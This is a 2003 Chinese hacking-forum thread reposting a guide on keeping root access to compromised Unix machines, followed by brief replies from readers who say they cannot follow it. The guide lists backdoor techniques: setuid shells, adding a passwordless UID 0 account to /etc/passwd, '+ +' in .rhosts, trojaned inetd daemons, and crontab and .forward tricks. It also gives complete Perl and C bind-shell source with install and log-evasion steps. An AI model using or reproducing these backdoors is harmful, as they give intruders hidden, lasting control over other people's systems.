Board logo

标题: 如何创建后门 [打印本页]

作者: 〓黑灵〓    时间: 2003-3-31 20:48     标题: 如何创建后门

[这个贴子最后由hus928在 2003/04/01 09:57pm 第 1 次编辑] how to creat the backdoor by zer9 ==== --- 前言: 本文之内容可以任意拷贝,传阅。在不违背作者原始 意图的情况下也可任意修改,但请在修改后mail给作 者一份。谢谢! --- 参考文献: Article: backdoor from The Infinity Concept Issue II Src: b4b0.c by b4b0 Src: daemonsh.pl by van Hauser / [THC] in 1997' -- 千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r " -- 创建后门的方法如下: - 1. setuid #cp /bin/sh /tmp/.backdoor #chmod u+s /tmp/.backdoor 加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。-- 适用于新手; - 2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 -- 适用于新手; - 3.echo "+ zer9">>/.rhosts 即本地的名为 zer9 的用户可以直接 rlogin target 无须口令 此时的 zer9 就相当于口令,不知道的人是不能进去的. 前提是目标的port 512or513or514 opening. 注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要; 还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限; -- 适用于比新手高一点点,比中级水平低一点点的guys; - 4.modify sendmail.cf 增加一个"wiz" 命令; usage: telnet target 25 [enter] wiz[enter] 这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎 所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易 猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强; 你只在你的机器上试一试就okay了; -- 顾名思意,大师级漏洞; - 5. crack suck as inetd,login,... 即安装它们的特络绎版本。你需要找到各版本unix的rootkit; 然后分别编译即可;-- 如果目标机上没有安装 tripwire之类 的东东,那几乎不可能被发现。linux&sunos&freebsd的可能 好找,但其他的了?即使你找到了,你有对应平台上的编译器 吗?我有一台运行 slackware,one running irix,one running sunos,one running hpux,one running digits unix,... hahhahha,我又做梦了:) -- 我个人认为是最好的方法,但实现起来有一定风险, 你必须考虑到如果你的木马运行出错怎么办--因为 我们所做的一切都必须以不破坏目标机上的任何数 据为原则; - 6.ping rem0te backd00r 即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过 防火墙。具体的程序你可在 [THC] 的主页发现; 我想到了另外一种直接用ping命令实现的可通过防火墙的 方法 : 一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火 墙内的信息均被过滤掉 :( 用 60k data 代表长,10k data 代表短;使用摩尔思编码; (或其他自定义编码) 双方通过 ICMPinfo 接受信息(ping 's data length); “嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河- -- 向我开炮!向我开炮”(^o^); 以后有时间我会通过程序来实现验证可行性的。 (技术上应该没有什么难度) - 7.rem0te shell 我最喜欢的方式。而且由于绕开了login,故用 who 无法 看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有 完全避开 syslogd.ADM仍可以在/var/log/messages中发现 你。不过,有一种方法可以彻底完全的旁路 syslogd!且听 下面一一道来. bindshell的实现有两种: a. 替换掉 inetd.conf 中的不重要服务,如 rlogind :) 在inetd 接受 connect 请求后,直接在本端口 利用 system("/bin/csh -i"); 直接spam 出一个shell, b. 接受 connect 后,在高端spam出一个shell; (更安全 :) 下面我给出一个perl 实现(不需socket libary支持) (pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2) 和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4) --- perl 版安装方法: ###无须编译!!只要目标机上有perl支持就okay! 如何判断有无perl: $/>perl [enter] [ctrl-c] $/> - 如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面 的方法有很大的危险性, exit(-1) please; - 首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且 不太引人注目的daemon,注意,一定要是 TCP types.然后 mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :)) cp in.rexecd /usr/sbin/in.rexecd 然后 ps -aux|grep inetd;kill -HUP id(by inetd); okay! 连 /etc/inetd.conf 都不要改。 重申一点:不论在任何情况下,我们都要尽最大的可能保护数据! - Usage: nc target (such as 512) [enter] ur passwd [enter] (then u login in...:) ----Cut Here------------------------------------------ #!/usr/bin/perl # # BEST # SIMPLE # rem0te bind shell #[perl version only tcp] # by # zer9[FTT] # zer9@21cn.com #passed on allmost unix #greet to:van Hauser/[THC] # for his daemonshell.pl # $SHELL="/bin/csh -i"; #d3f4ult p4sswd 1s "wh04r3u" (no quote); $PASSWORD="BifqmATb6D5so"; if ($PASSWORD) { chop($pass=); if (crypt($pass, $PASSWORD) ne $PASSWORD) { exit 0; } exec $SHELL ; exit 0; } ----Cut Here-------------------------------------------- 下面是一个for gnuc 的bindshell,first cut it,save as backdoor.c ,then cc backdoor.c -o backdoor other action just l1ke before; Usage: (exp:binding to in.rlogind (513)) nc target 513 //spam a shell on the high port; nc target 54321 ur zer9 (then u coming in...) ----Cut Here------------------------------------- /* * [ b i n d - s h e l l ] * by * zer9[FTT] * zer9@21cn.com *test on slackware 2.0.33&irix6.4(cc) *cc backdoor.c -o backdoor *u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m *c0mm4nd l1n3: backdoor [port] *d3fault p0rt 1s: 54321 *greets to b4b0 for his b4b0.c *m4yb3 1 c0uld s4y: *"0k,b4b0.l1st3n c4r3fully;" *s0rry,just a joke. * */ #include #include #include #include #include #include #include #define PassWord "zer9" /* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */ #define DefaultPort 54321 /* d3f4ult b1nd1ng p0rt */ int main(int argc,char **argv) { int s,in_s; struct sockaddr_in server,client; int client_len,bindport; char recvbuf[1000]; if(argc!=2) bindport=DefaultPort; else bindport=atoi(argv[1]); if((s=socket(AF_INET,SOCK_STREAM,0))<0) { perror("socket"); return -1; } bzero((char *)&server,sizeof(server)); bzero((char *)&client,sizeof(client)); bzero(recvbuf,sizeof(recvbuf)); server.sin_family=AF_INET; server.sin_port=htons(bindport); server.sin_addr.s_addr=INADDR_ANY; if(bind(s,(struct sockaddr *)&server,sizeof(server))<0) { perror("bind"); return -1; } if(listen(s,3)!=0) { perror("listen"); return -1; } client_len=sizeof(client); if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0) { perror("accept"); return -1; } recv(in_s,recvbuf,sizeof(recvbuf),0); sleep(1); if((strlen(recvbuf)-1)==strlen(PassWord)) if(!strncmp(recvbuf,PassWord,strlen(PassWord))) { send(in_s,"0k4y! c0m1ng 1n...\n",25,0); close(0);close(1);close(2); dup2(in_s,0);dup2(in_s,1);dup2(in_s,2); execl("/bin/csh","/bin/csh",(char *)0); } close(s); close(in_s); return 0; } ----Cut Here------------------------------------------------- 用上面的方法都不能完全的避开syslogd,因为他们都是由 inetd 启动的,inetd启动它们的同时已经进行log 了; 旁路掉inetd就能完全避开syslog! 方法很简单,只要直接在命令行直接启动例程2(c)就可以了, (1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了; 比较好的方法是在 /etc/rc.d/rc.local中加入: backdoor & 但即使这样作了,每次用过后还要再起动一次;更好的方法 是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个 问题;但这样做与hack inetd 那样更有效率(安全)了? -- 8.第八种武器就是 crontab 我只知道原理,没实践过. 每到一定时间就往 /etc/passwd 中加入一条uid为0(root) 的用户;时间一道就delete ,或创建suid's shell... 在序言中提到的文章中有详细介绍; -- 9.有没有想过只要向系统的一个用户发一个email,OS 就会spam 出一个shell?利用用户的home目录下的 .forward 可作到这一点。 -- 10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB, 看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小); [THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看; -- 11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root; 但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid 不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire 可发现。 --------- 我所知道的方法全部坦白完了,如果你知道更好更酷的(or 更差更复杂) ,请与我交流。谢谢! --------- *ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT* 最后警告: 这篇文章的写作目的是为了更好的与你进行技术上的交流, 而不是教唆或鼓励你进行破坏。对于任何人因为阅读本文 而造成的不良后果,作者不承担任何法律责任。 *ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT*ALERT* _______________________________________________________ zer9[FTT] zer9@21cn.com ============= PGP Key ID:0x288B2835 PGP Key Fingerprint:7633 5DC1 C11C 9D7E 75D3 B95B 0613 8C39 288B 2835 to get my pgp public key at MIT's key server.
作者: 寒枫    时间: 2003-5-19 22:29     标题: 如何创建后门

好难,看不懂
作者: 默读忧伤    时间: 2003-5-25 19:55     标题: 如何创建后门

是啊....
有简单一点的后门吗?
作者: Yuki    时间: 2003-6-1 23:17     标题: 如何创建后门

我也看不懂,是你太高了还是我太菜了,
作者: jongjing    时间: 2003-6-18 11:05     标题: 如何创建后门

唉!
因为自己太菜了什么都看不懂
作者: 雪为何落    时间: 2003-7-18 21:45     标题: 如何创建后门

我也看不明白一塌糊涂




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2